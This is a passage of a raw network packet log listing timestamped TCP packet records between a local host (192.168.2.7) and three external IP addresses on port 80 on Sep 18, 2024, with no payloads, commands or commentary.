Sep 18, 2024 14:30:08.979444027 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.979445934 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.979455948 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.979464054 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.979490042 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.997695923 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997716904 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997735977 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997756004 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997767925 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997780085 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997791052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997811079 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997822046 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997836113 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997847080 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997859001 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997864962 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.997864962 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.997869968 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997884035 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997895956 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997904062 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.997905016 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.997915983 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997929096 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997931957 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.997951984 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997965097 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.997966051 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997982025 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.997992039 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.997992039 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.997999907 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998012066 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998014927 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998025894 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998042107 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998042107 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998044968 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998058081 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998058081 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998070955 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998083115 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998094082 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998106003 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998115063 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998115063 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998152018 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998152018 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998163939 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998176098 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998188972 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998214006 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998214006 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998238087 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998264074 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998274088 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998274088 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998275042 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998289108 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998311043 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998311043 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998321056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998334885 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998346090 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998354912 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998354912 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998366117 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998378992 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998383999 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998383999 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998394012 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998414040 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998414040 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998424053 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998435974 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998447895 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998470068 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998470068 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998522043 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998533964 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998545885 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998558998 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998565912 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998565912 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998570919 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998589993 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998609066 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998611927 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998611927 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998621941 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998634100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998645067 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998646975 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998646975 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998656988 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998670101 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998692989 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998692989 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998723984 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998728991 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998742104 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998754978 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998764992 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.998778105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.998790979 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.998810053 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998810053 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.998843908 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.998850107 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.998862982 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.998873949 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.998889923 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.998900890 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.998909950 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.998914957 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.998924971 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.998927116 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.998939037 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.998939991 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.998950958 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.998961926 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.998970032 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.998972893 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.998991013 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999006987 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999059916 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999072075 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.999083996 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.999093056 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999094963 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.999106884 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.999109030 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.999119043 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.999131918 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.999144077 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.999155045 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999166012 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999176025 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.999176025 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.999176025 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.999219894 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999219894 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999296904 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999310017 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999321938 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999332905 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999335051 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999340057 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999347925 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999356031 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999365091 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999366999 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999398947 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999411106 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999419928 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999419928 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999424934 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999437094 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999437094 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999448061 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999459028 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999461889 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999485016 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.999489069 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999516010 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.999516010 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.999521971 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.999536037 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.999586105 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.999596119 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.999608994 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.999620914 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.999655008 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.999655008 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.999711990 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.999723911 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999735117 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999747038 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999747992 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.999758005 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999771118 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999774933 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999785900 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999798059 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.999799013 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999814987 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.999829054 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.000550985 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.000601053 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.000617981 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.000745058 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.000756979 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.000761986 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.000771046 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.000782013 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.000792980 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.000803947 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.000803947 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.000850916 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.000850916 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.001626968 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.001650095 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.001667976 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.001682997 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.001699924 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.001709938 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.001729965 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.001743078 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.001754045 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.001765966 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.001779079 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.001785040 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.001820087 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.001842022 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.001862049 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.001873970 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.001885891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.001897097 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.001898050 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.001898050 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.001910925 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.001936913 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.001936913 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.002199888 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.002438068 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.002480984 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.002490997 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.002528906 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.002537012 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.002548933 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.002557039 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.002562046 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.002576113 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.002580881 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.002605915 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.002636909 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.002676964 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.002688885 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.002700090 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.002711058 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.002722025 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.002734900 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.002734900 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.002734900 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.002748013 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.002780914 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.002780914 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.003648043 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.003667116 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.003678083 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.003689051 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.003700972 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.003711939 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.003722906 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.003722906 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.003751993 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.003765106 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.003767014 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.003777981 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.003789902 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.003801107 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.003803968 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.003815889 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.003829956 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.003859997 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.003859997 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.003967047 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.004080057 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.004091978 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.004103899 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.004127979 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.004153013 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.004168034 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.004179955 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.004190922 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.004200935 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.004204035 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.004215956 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.004235029 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.007273912 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.007294893 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.007308006 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.007318974 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.007328987 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.007330894 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.007337093 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.007348061 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.007349968 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.007392883 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.007416964 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.007436991 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.007450104 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.007492065 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.007492065 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.007502079 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.007514000 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.007525921 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.007538080 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.007549047 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.007559061 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.007570982 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.007581949 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.007582903 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.007582903 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.007613897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.007620096 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.007620096 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.007627010 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.007638931 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.007667065 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.007667065 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.007723093 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.007793903 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.007900953 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.008255959 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008265972 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008276939 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008306026 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.008321047 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008327007 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.008332014 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008342028 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008352041 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008352041 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.008363008 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008367062 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.008387089 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.008409023 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.008445978 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008471966 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008477926 CEST	49706	80	192.168.2.7	147.45.44.104
